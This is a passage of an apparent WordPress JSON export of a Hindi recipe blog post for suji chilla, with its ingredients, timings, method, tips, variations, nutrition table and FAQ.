{"id":586,"date":"2026-02-16T19:24:40","date_gmt":"2026-02-16T13:54:40","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=586"},"modified":"2026-04-07T13:57:20","modified_gmt":"2026-04-07T08:27:20","slug":"suji-chilla-recipe","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/suji-chilla-recipe\/","title":{"rendered":"\u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e"},"content":{"rendered":"\n<p>\u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e<\/p>\n\n\n\n<p>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0938\u0940\u0915\u094d\u0930\u0947\u091f \u091f\u093f\u092a\u094d\u0938 \u0915\u0947 \u0938\u093e\u0925 \u092c\u0928\u093e\u090f\u0902 \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e <\/p>\n\n\n\n<h1 class=\"wp-block-heading\"> \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091d\u091f\u092a\u091f \u0928\u093e\u0936\u094d\u0924\u093e \u0930\u0947\u0938\u093f\u092a\u0940<\/h1>\n\n\n\n<p>\u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091d\u091f\u092a\u091f \u0928\u093e\u0936\u094d\u0924\u093e \u0930\u0947\u0938\u093f\u092a\u0940 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u090f\u0915 \u0939\u0932\u094d\u0915\u093e, \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0914\u0930 \u091d\u091f\u092a\u091f \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u092d\u093e\u0930\u0924\u0940\u092f \u0928\u093e\u0936\u094d\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0938\u0942\u091c\u0940 (\u0930\u0935\u093e), \u0926\u0939\u0940 \u0914\u0930 \u0924\u093e\u091c\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0938\u0947 \u0924\u0948\u092f\u093e\u0930 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0940 \u0916\u093e\u0938\u093f\u092f\u0924 \u0939\u0948 \u0907\u0938\u0915\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0914\u0930 \u0938\u0949\u092b\u094d\u091f \u0905\u0902\u0926\u0930\u0942\u0928\u0940 \u0939\u093f\u0938\u094d\u0938\u093e\u0964<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Updated Table of Contents<\/strong><\/li>\n\n\n\n<li>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0915\u094d\u092f\u093e \u0939\u0948?<\/li>\n\n\n\n<li>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0915\u093e \u0907\u0924\u093f\u0939\u093e\u0938 \u0914\u0930 \u0932\u094b\u0915\u092a\u094d\u0930\u093f\u092f\u0924\u093e<\/li>\n\n\n\n<li>\u0915\u094d\u092f\u094b\u0902 \u0939\u0948 \u092f\u0939 \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u092c\u094d\u0930\u0947\u0915\u092b\u093e\u0938\u094d\u091f?<\/li>\n\n\n\n<li>\u0938\u093e\u092e\u0917\u094d\u0930\u0940 (\u092e\u093e\u092a \u0938\u0939\u093f\u0924)<\/li>\n\n\n\n<li>Preparation Time | Cooking Time | Total Time<\/li>\n\n\n\n<li>\u0938\u094d\u091f\u0947\u092a-\u092c\u093e\u092f-\u0938\u094d\u091f\u0947\u092a \u0935\u093f\u0938\u094d\u0924\u0943\u0924 \u0935\u093f\u0927\u093f<\/li>\n\n\n\n<li>\u092a\u0930\u092b\u0947\u0915\u094d\u091f \u092c\u0948\u091f\u0930 \u0915\u0940 \u0938\u093e\u0907\u0902\u0938<\/li>\n\n\n\n<li>10 \u092a\u094d\u0930\u094b \u0936\u0947\u092b \u0938\u0940\u0915\u094d\u0930\u0947\u091f \u091f\u093f\u092a\u094d\u0938<\/li>\n\n\n\n<li>\u0905\u0932\u0917-\u0905\u0932\u0917 \u0930\u093e\u091c\u094d\u092f\u094b\u0902 \u092e\u0947\u0902 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e<\/li>\n\n\n\n<li>\u0921\u093e\u0907\u091f \u0914\u0930 \u092b\u093f\u091f\u0928\u0947\u0938 \u0935\u0930\u094d\u091c\u0928<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0914\u0930 \u0938\u0940\u0928\u093f\u092f\u0930 \u0938\u093f\u091f\u0940\u091c\u093c\u0928 \u0915\u0947 \u0932\u093f\u090f \u0935\u0930\u094d\u091c\u0928<\/li>\n\n\n\n<li>\u0924\u094d\u092f\u094b\u0939\u093e\u0930 \u0914\u0930 \u0935\u094d\u0930\u0924 \u0938\u094d\u092a\u0947\u0936\u0932 \u0935\u093f\u0915\u0932\u094d\u092a<\/li>\n\n\n\n<li>\u092a\u0930\u094b\u0938\u0928\u0947 \u0915\u0947 8 \u092c\u0947\u0939\u0924\u0930\u0940\u0928 \u0924\u0930\u0940\u0915\u0947<\/li>\n\n\n\n<li>\u0938\u094d\u091f\u094b\u0930\u0947\u091c, \u092e\u0940\u0932 \u092a\u094d\u0930\u0947\u092a \u0914\u0930 \u0930\u0940\u0939\u0940\u091f\u093f\u0902\u0917<\/li>\n\n\n\n<li>\u092a\u094b\u0937\u0923 \u0935\u093f\u0936\u094d\u0932\u0947\u0937\u0923 (\u0921\u093f\u091f\u0947\u0932 \u092e\u0947\u0902)<\/li>\n\n\n\n<li>FAQ (\u0935\u093f\u0938\u094d\u0924\u0943\u0924)<\/li>\n\n\n\n<li>\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"> \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0915\u094d\u092f\u093e \u0939\u0948?<\/h2>\n\n\n\n<p>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u090f\u0915 \u0939\u0932\u094d\u0915\u093e, \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0914\u0930 \u091d\u091f\u092a\u091f \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u092d\u093e\u0930\u0924\u0940\u092f \u0928\u093e\u0936\u094d\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0938\u0942\u091c\u0940 (\u0930\u0935\u093e), \u0926\u0939\u0940 \u0914\u0930 \u0924\u093e\u091c\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0938\u0947 \u0924\u0948\u092f\u093e\u0930 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0940 \u0916\u093e\u0938\u093f\u092f\u0924 \u0939\u0948 \u0907\u0938\u0915\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0914\u0930 \u0938\u0949\u092b\u094d\u091f \u0905\u0902\u0926\u0930\u0942\u0928\u0940 \u0939\u093f\u0938\u094d\u0938\u093e\u0964<\/p>\n\n\n\n<p>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0915\u093e \u0907\u0924\u093f\u0939\u093e\u0938<\/p>\n\n\n\n<p>\u0909\u0924\u094d\u0924\u0930 \u092d\u093e\u0930\u0924 \u092e\u0947\u0902 \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u092c\u0947\u0938\u0928 \u091a\u0940\u0932\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0932\u094b\u0915\u092a\u094d\u0930\u093f\u092f \u0925\u093e\u0964 \u0938\u092e\u092f \u0915\u0947 \u0938\u093e\u0925 \u0938\u0942\u091c\u0940 \u0938\u0947 \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u092f\u0939 \u0935\u0930\u094d\u091c\u0928 \u0906\u092f\u093e, \u091c\u094b \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u0932\u094d\u0915\u093e \u0914\u0930 \u091c\u0932\u094d\u0926\u0940 \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u0939\u0948\u0964 \u0906\u091c \u092f\u0939 \u092a\u0942\u0930\u0947 \u092d\u093e\u0930\u0924 \u092e\u0947\u0902 \u0928\u093e\u0936\u094d\u0924\u0947 \u0914\u0930 \u091f\u093f\u092b\u093f\u0928 \u0915\u0947 \u0932\u093f\u090f \u0932\u094b\u0915\u092a\u094d\u0930\u093f\u092f \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0939\u0948 \u092f\u0939  \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u092c\u094d\u0930\u0947\u0915\u092b\u093e\u0938\u094d\u091f?<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u2714 20 \u092e\u093f\u0928\u091f \u092e\u0947\u0902 \u0924\u0948\u092f\u093e\u0930<\/li>\n\n\n\n<li>\u2714 \u0915\u092e \u0911\u092f\u0932<\/li>\n\n\n\n<li>\u2714 \u0939\u093e\u0908 \u090f\u0928\u0930\u094d\u091c\u0940<\/li>\n\n\n\n<li>\u2714 \u092a\u0947\u091f \u092d\u0930\u093e \u0930\u0916\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u2714 \u0911\u092b\u093f\u0938 \u0914\u0930 \u0938\u094d\u0915\u0942\u0932 \u091f\u093f\u092b\u093f\u0928 \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0938\u093e\u092e\u0917\u094d\u0930\u0940 (3\u20134 servings)<\/strong><br>\u0938\u093e\u092e\u0917\u094d\u0930\u0940<br>\u092e\u093e\u0924\u094d\u0930\u093e<br>\u0938\u0942\u091c\u0940<br>1 \u0915\u092a<br>\u0926\u0939\u0940<br>\u00bd \u0915\u092a<br>\u092a\u093e\u0928\u0940<br>\u00bd\u2013\u00be \u0915\u092a<br>\u092a\u094d\u092f\u093e\u091c<br>1 (\u092c\u093e\u0930\u0940\u0915 \u0915\u091f\u093e)<br>\u091f\u092e\u093e\u091f\u0930<br>1 (\u0915\u091f\u093e)<br>\u0936\u093f\u092e\u0932\u093e \u092e\u093f\u0930\u094d\u091a<br>1 (\u0915\u091f\u0940 \u0939\u0941\u0908)<br>\u0939\u0930\u0940 \u092e\u093f\u0930\u094d\u091a<br>1 (\u0915\u091f\u0940)<br>\u0939\u0932\u094d\u0926\u0940<br>\u00bd \u091b\u094b\u091f\u093e \u091a\u092e\u094d\u092e\u091a<br>\u0932\u093e\u0932 \u092e\u093f\u0930\u094d\u091a<br>\u00bd \u091b\u094b\u091f\u093e \u091a\u092e\u094d\u092e\u091a<br>\u0928\u092e\u0915<br>\u0938\u094d\u0935\u093e\u0926\u093e\u0928\u0941\u0938\u093e\u0930<br>\u0939\u0930\u093e \u0927\u0928\u093f\u092f\u093e<br>2 \u091a\u092e\u094d\u092e\u091a<br>\u092c\u0947\u0915\u093f\u0902\u0917 \u0938\u094b\u0921\u093e<br>1 \u091a\u0941\u091f\u0915\u0940 (\u0935\u0948\u0915\u0932\u094d\u092a\u093f\u0915)<br>\u0924\u0947\u0932 \/ \u0918\u0940<br>\u0938\u0947\u0915\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Time Breakdown<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094d\u0930\u0915\u093e\u0930<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>Preparation Time<\/td><td>10 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>Resting Time<\/td><td>5 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>Cooking Time<\/td><td>10 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>Total Time<\/td><td>25 \u092e\u093f\u0928\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"719\" height=\"719\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/np-suhanda20170519122805877.jpg\" alt=\"\" class=\"wp-image-596\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/np-suhanda20170519122805877.jpg 719w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/np-suhanda20170519122805877-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/np-suhanda20170519122805877-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/np-suhanda20170519122805877-12x12.jpg 12w\" sizes=\"(max-width: 719px) 100vw, 719px\" \/><figcaption class=\"wp-element-caption\">\u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u0935\u093f\u0938\u094d\u0924\u0943\u0924 \u0935\u093f\u0927\u093f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u092c\u0948\u091f\u0930 \u0924\u0948\u092f\u093e\u0930 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0924\u0915\u0928\u0940\u0915<\/h3>\n\n\n\n<p>\u0938\u0942\u091c\u0940 + \u0926\u0939\u0940 \u092e\u093f\u0932\u093e\u0915\u0930 \u092a\u0939\u0932\u0947 \u0917\u093e\u0922\u093c\u093e \u092e\u093f\u0936\u094d\u0930\u0923 \u092c\u0928\u093e\u090f\u0902\u0964<br>\u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0947\u0902\u0964<br>5 \u092e\u093f\u0928\u091f \u0930\u0947\u0938\u094d\u091f \u0926\u0947\u0902 \u0924\u093e\u0915\u093f \u0938\u0942\u091c\u0940 \u092b\u0942\u0932 \u091c\u093e\u090f\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u0939\u0940 \u0915\u0902\u0938\u093f\u0938\u094d\u091f\u0947\u0902\u0938\u0940 \u091f\u0947\u0938\u094d\u091f<\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u092c\u0948\u091f\u0930 \u0915\u0930\u091b\u0940 \u0938\u0947 \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u0917\u093f\u0930 \u0930\u0939\u093e \u0939\u0948 \u2014 \u0924\u094b \u0938\u0939\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u0915\u093e\u0928\u0947 \u0915\u0940 \u0924\u0915\u0928\u0940\u0915<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u0935\u093e \u092e\u0927\u094d\u092f\u092e \u0917\u0930\u092e<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u093e \u0924\u0947\u0932<\/li>\n\n\n\n<li>\u092a\u0924\u0932\u093e \u092b\u0948\u0932\u093e\u0935<\/li>\n\n\n\n<li>\u0922\u0915\u0915\u0930 1 \u092e\u093f\u0928\u091f \u092a\u0915\u093e\u090f\u0902<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u092c\u0948\u091f\u0930 \u0915\u0940 \u0938\u093e\u0907\u0902\u0938<\/h2>\n\n\n\n<p>\u0938\u0942\u091c\u0940 \u092a\u093e\u0928\u0940 \u0938\u094b\u0916\u0924\u0940 \u0939\u0948\u0964<br>\u0905\u0917\u0930 \u0924\u0941\u0930\u0902\u0924 \u092a\u0915\u093e\u090f\u0902\u0917\u0947 \u0924\u094b \u091a\u0940\u0932\u093e \u0938\u0916\u094d\u0924 \u0939\u094b\u0917\u093e\u0964<br>\u0930\u0947\u0938\u094d\u091f\u093f\u0902\u0917 \u0938\u0947 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092c\u0947\u0939\u0924\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">10 \u092a\u094d\u0930\u094b \u0936\u0947\u092b \u0938\u0940\u0915\u094d\u0930\u0947\u091f \u091f\u093f\u092a\u094d\u0938 <\/h4>\n\n\n\n<p><a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>1 \u091a\u092e\u094d\u092e\u091a \u091a\u093e\u0935\u0932 \u0915\u093e \u0906\u091f\u093e \u092e\u093f\u0932\u093e\u090f\u0902 \u2013 \u091c\u094d\u092f\u093e\u0926\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940<\/li>\n\n\n\n<li>\u0918\u0940 \u0915\u093e \u0939\u0932\u094d\u0915\u093e \u092c\u094d\u0930\u0936 \u0915\u0930\u0947\u0902 \u2013 \u092c\u0947\u0939\u0924\u0930 \u0938\u094d\u0935\u093e\u0926<\/li>\n\n\n\n<li>\u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0901 \u092c\u093e\u0930\u0940\u0915 \u0915\u093e\u091f\u0947\u0902<\/li>\n\n\n\n<li>\u0924\u0935\u093e \u0928\u0949\u0928-\u0938\u094d\u091f\u093f\u0915 \u092f\u093e \u0915\u093e\u0938\u094d\u091f \u0906\u092f\u0930\u0928 \u0939\u094b<\/li>\n\n\n\n<li>\u0922\u0915\u0915\u0930 \u092a\u0915\u093e\u0928\u0947 \u0938\u0947 \u0905\u0902\u0926\u0930 \u0938\u0947 \u0938\u0949\u092b\u094d\u091f \u0930\u0939\u0947\u0917\u093e<\/li>\n\n\n\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u092a\u0932\u091f\u0947\u0902 \u0928\u0939\u0940\u0902<\/li>\n\n\n\n<li>\u0928\u092e\u0915 \u0905\u0902\u0924 \u092e\u0947\u0902 \u092e\u093f\u0932\u093e\u090f\u0902<\/li>\n\n\n\n<li>\u0938\u0942\u091c\u0940 \u092e\u094b\u091f\u0940 \u0939\u094b \u0924\u094b \u0925\u094b\u0921\u093c\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u092a\u093e\u0928\u0940<\/li>\n\n\n\n<li>\u092e\u0938\u093e\u0932\u093e \u0915\u0938\u094d\u091f\u092e\u093e\u0907\u091c \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>\u0905\u0902\u0924 \u092e\u0947\u0902 \u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a \u091b\u093f\u0921\u093c\u0915\u0947\u0902<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u0905\u0932\u0917-\u0905\u0932\u0917 \u0935\u0947\u0930\u093f\u090f\u0936\u0928<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u0928\u0940\u0930 \u0938\u0942\u091c\u0940 \u091a\u0940\u0932\u093e<\/h3>\n\n\n\n<p>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0913\u091f\u094d\u0938 \u0938\u0942\u091c\u0940 \u091a\u0940\u0932\u093e<\/h3>\n\n\n\n<p>\u092b\u093e\u0907\u092c\u0930 \u0939\u093e\u0908<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u093e\u0932\u0915 \u0938\u0942\u091c\u0940 \u091a\u0940\u0932\u093e<\/h3>\n\n\n\n<p>\u0906\u092f\u0930\u0928 \u0930\u093f\u091a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> 8 \u092a\u0930\u094b\u0938\u0928\u0947 \u0915\u0947 \u0924\u0930\u0940\u0915\u0947<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0930\u0940 \u091a\u091f\u0928\u0940<\/li>\n\n\n\n<li>\u0928\u093e\u0930\u093f\u092f\u0932 \u091a\u091f\u0928\u0940<\/li>\n\n\n\n<li>\u091f\u092e\u093e\u091f\u0930 \u0938\u0949\u0938<\/li>\n\n\n\n<li>\u0926\u0939\u0940<\/li>\n\n\n\n<li>\u0905\u091a\u093e\u0930<\/li>\n\n\n\n<li>\u092a\u0941\u0926\u0940\u0928\u093e \u0921\u093f\u092a<\/li>\n\n\n\n<li>\u0932\u0939\u0938\u0941\u0928 \u091a\u091f\u0928\u0940<\/li>\n\n\n\n<li>\u0938\u093e\u0902\u092d\u0930<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-cover\"><img decoding=\"async\" width=\"1024\" height=\"883\" class=\"wp-block-cover__image-background wp-image-595\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill-1024x883.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill-1024x883.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill-300x259.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill-768x662.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill-14x12.jpg 14w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/easy-and-instant-poha-rava-chill.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong><em> \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"> \u0938\u094d\u091f\u094b\u0930\u0947\u091c \u0914\u0930 \u092e\u0940\u0932 \u092a\u094d\u0930\u0947\u092a<\/h2>\n\n\n\n<p>\u2714 \u092c\u0948\u091f\u0930 8 \u0918\u0902\u091f\u0947 \u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902<br>\u2714 \u0938\u0942\u0916\u0947 \u0915\u0902\u091f\u0947\u0928\u0930 \u092e\u0947\u0902 \u0938\u094d\u091f\u094b\u0930 \u0915\u0930\u0947\u0902<br>\u2714 \u092e\u093e\u0907\u0915\u094d\u0930\u094b\u0935\u0947\u0935 \u092e\u0947\u0902 1 \u092e\u093f\u0928\u091f \u0917\u0930\u092e<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0921\u093f\u091f\u0947\u0932 \u092a\u094b\u0937\u0923 \u0935\u093f\u0936\u094d\u0932\u0947\u0937\u0923 (\u092a\u094d\u0930\u0924\u093f \u0938\u0930\u094d\u0935\u093f\u0902\u0917) <a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935<\/th><th>\u092e\u093e\u0924\u094d\u0930\u093e<\/th><\/tr><\/thead><tbody><tr><td>\u0915\u0948\u0932\u094b\u0930\u0940<\/td><td>210 kcal<\/td><\/tr><tr><td>\u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/td><td>7\u20138g<\/td><\/tr><tr><td>\u0915\u093e\u0930\u094d\u092c\u094b\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f<\/td><td>32g<\/td><\/tr><tr><td>\u092b\u093e\u0907\u092c\u0930<\/td><td>4g<\/td><\/tr><tr><td>\u092b\u0948\u091f<\/td><td>6g<\/td><\/tr><tr><td>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e<\/td><td>\u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"> \u0935\u093f\u0938\u094d\u0924\u0943\u0924 FAQ<\/h2>\n\n\n\n<p><strong>Q1: \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u091a\u093f\u092a\u0915\u0924\u093e \u0915\u094d\u092f\u094b\u0902 \u0939\u0948?<\/strong><br>\u0924\u0935\u093e \u0938\u0939\u0940 \u0917\u0930\u092e \u0928 \u0939\u094b\u0928\u0947 \u0938\u0947\u0964<\/p>\n\n\n\n<p><strong>Q2: \u0915\u094d\u092f\u093e \u0907\u0938\u0947 \u092c\u093f\u0928\u093e \u0926\u0939\u0940 \u092c\u0928\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/strong><br>\u0939\u093e\u0901, \u0928\u0940\u0902\u092c\u0942 \u092a\u093e\u0928\u0940 \u092f\u093e \u091b\u093e\u091b \u0938\u0947\u0964<\/p>\n\n\n\n<p><strong>Q3: \u0915\u094d\u092f\u093e \u0907\u0938\u0947 \u090f\u092f\u0930 \u092b\u094d\u0930\u093e\u092f\u0930 \u092e\u0947\u0902 \u092c\u0928\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/strong><br>\u0939\u093e\u0901, 180\u00b0C \u092a\u0930 8\u201310 \u092e\u093f\u0928\u091f\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937<\/h2>\n\n\n\n<p>\u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u090f\u0915 <strong>\u0938\u0941\u092a\u0930 \u0906\u0938\u093e\u0928, \u091d\u091f\u092a\u091f \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e<\/strong> \u0939\u0948, \u091c\u093f\u0938\u0947 \u0939\u0930 \u0909\u092e\u094d\u0930 \u0915\u0947 \u0932\u094b\u0917 \u092a\u0938\u0902\u0926 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964 \u092f\u0939 \u0928 \u0915\u0947\u0935\u0932 \u0938\u094d\u0935\u093e\u0926 \u092e\u0947\u0902 \u0932\u093e\u091c\u0935\u093e\u092c \u0939\u0948, \u092c\u0932\u094d\u0915\u093f <strong>\u092a\u094c\u0937\u094d\u091f\u093f\u0915\u0924\u093e \u0914\u0930 \u090f\u0928\u0930\u094d\u091c\u0940<\/strong> \u0915\u093e \u092c\u0947\u0939\u0924\u0930\u0940\u0928 \u0938\u094d\u0930\u094b\u0924 \u092d\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0907\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u0940 \u0916\u093e\u0938\u093f\u092f\u0924:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u092e \u0938\u092e\u092f \u092e\u0947\u0902 \u092c\u0928\u0928\u093e (20\u201325 \u092e\u093f\u0928\u091f)<\/li>\n\n\n\n<li>\u0915\u092e \u0924\u0947\u0932 \u0914\u0930 \u092e\u0938\u093e\u0932\u0947 \u092e\u0947\u0902 